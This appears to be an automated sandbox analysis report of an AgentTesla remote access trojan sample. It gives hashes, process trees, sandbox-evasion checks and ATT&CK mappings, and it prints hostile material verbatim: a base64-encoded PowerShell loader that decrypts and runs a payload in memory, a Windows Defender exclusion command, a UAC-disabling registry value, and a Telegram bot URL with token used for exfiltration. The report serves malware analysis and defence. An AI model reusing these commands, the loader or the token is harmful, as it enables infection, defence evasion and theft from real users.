Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
18/05/2024, 18:34
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20240419-en
General
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Target
file.exe
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Size
1.0MB
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MD5
e77cf047d33d9bed9d10494ed11c68f1
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SHA1
b6dfe123d998dc453d4263b5876414d1825a07a8
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SHA256
1b3bc0613f79431889a1452b050b467ab0c5eabe979c6278f73982ff5f5a4b00
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SHA512
b8797aec5bda5fae2b0423c53106dd2c6d3770fb9a72d7d6997a6741353a9fb6634e6c0a468655fe98efd0e0eddd73831b0ad56d3a40948c006ad2f6096ed52d
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SSDEEP
24576:V74FSZ6wPMZ82ZtSgSJDuyWqM5Wb+EjbL:148ACMZ82ZkgDyo2Jr
Malware Config
Extracted
agenttesla
https://api.telegram.org/bot6941402653:AAGD6Af00jBZM3CSU3pjKxYbW7aazMmc_10/
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" powershell.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\file.exe = "0" powershell.exe -
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2348 powershell.exe 5052 powershell.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion powershell.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion powershell.exe -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 32 api.ipify.org 33 api.ipify.org 34 ip-api.com -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum powershell.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 5052 set thread context of 1960 5052 powershell.exe 101 -
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 5052 powershell.exe 5052 powershell.exe 5052 powershell.exe 5052 powershell.exe 5052 powershell.exe 5052 powershell.exe 5052 powershell.exe 5052 powershell.exe 2348 powershell.exe 2348 powershell.exe 2348 powershell.exe 1960 CasPol.exe 1960 CasPol.exe 1960 CasPol.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 5052 powershell.exe Token: SeDebugPrivilege 2348 powershell.exe Token: SeDebugPrivilege 1960 CasPol.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1960 CasPol.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4252 wrote to memory of 5052 4252 file.exe 96 PID 4252 wrote to memory of 5052 4252 file.exe 96 PID 5052 wrote to memory of 2348 5052 powershell.exe 99 PID 5052 wrote to memory of 2348 5052 powershell.exe 99 PID 5052 wrote to memory of 1960 5052 powershell.exe 101 PID 5052 wrote to memory of 1960 5052 powershell.exe 101 PID 5052 wrote to memory of 1960 5052 powershell.exe 101 PID 5052 wrote to memory of 1960 5052 powershell.exe 101 PID 5052 wrote to memory of 1960 5052 powershell.exe 101 PID 5052 wrote to memory of 1960 5052 powershell.exe 101 PID 5052 wrote to memory of 1960 5052 powershell.exe 101 PID 5052 wrote to memory of 1960 5052 powershell.exe 101 PID 5052 wrote to memory of 2328 5052 powershell.exe 102 PID 5052 wrote to memory of 2328 5052 powershell.exe 102 PID 5052 wrote to memory of 2328 5052 powershell.exe 102
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4252 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEYARQAsACAAMAB4ADYAMwAsACAAMAB4AEYAOQAsACAAMAB4ADUAMAAsACAAMAB4AEUAQgAsACAAMAB4ADgAMwAsACAAMAB4AEQAMQAsACAAMAB4ADcAQgAsACAAMAB4ADUAQgAsACAAMAB4AEUANQAsACAAMAB4AEUANAAsACAAMAB4ADYAMAAsACAAMAB4AEMANQAsACAAMAB4AEQARQAsACAAMAB4ADQAQgAsACAAMAB4ADgAQQAsACAAMAB4ADQAMAAsACAAMAB4ADgANAAsACAAMAB4AEMAMgAsACAAMAB4ADUAMgAsACAAMAB4AEIANwAsACAAMAB4ADgAMAAsACAAMAB4AEMAQQAsACAAMAB4ADEARAAsACAAMAB4ADEANgAsACAAMAB4ADQARAAsACAAMAB4AEIAQQAsACAAMAB4ADEANwAsACAAMAB4ADUANAAsACAAMAB4AEIAQQAsACAAMAB4AEQAOAAsACAAMAB4ADEARQApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA4ADUALAAgADAAeAA3ADMALAAgADAAeAAxADUALAAgADAAeAAyAEQALAAgADAAeABCADYALAAgADAAeAA0ADEALAAgADAAeABGADMALAAgADAAeAA1AEYALAAgADAAeABBAEIALAAgADAAeAA5AEUALAAgADAAeAAzADEALAAgADAAeABFAEIALAAgADAAeAA0ADIALAAgADAAeAAyADIALAAgADAAeAAwADMALAAgADAAeAAxADAAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA2⤵
- UAC bypass
- Windows security bypass
- Looks for VirtualBox Guest Additions in registry
- Command and Scripting Interpreter: PowerShell
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5052 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\file.exe" -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2348
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1960
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"3⤵PID:2328
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Modify Registry
2Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
34KB
MD5ecfb449e8dadccead6b47a2220c41c14
SHA18ef0963d700c21da79b27375fec8b0c08b129b6d
SHA256493036aba776c7aa127feb9fc3b2c9587bd7cc7491a6b133ececc471c0f06bfb
SHA51246e8bc24f9a7ace6e6fc6c805b29bda090e3a6553b4dfb6092c64033e1770e3b1ca3d14be033255b7048d6a95320e2fd527eeaca132261f422015bb197334f22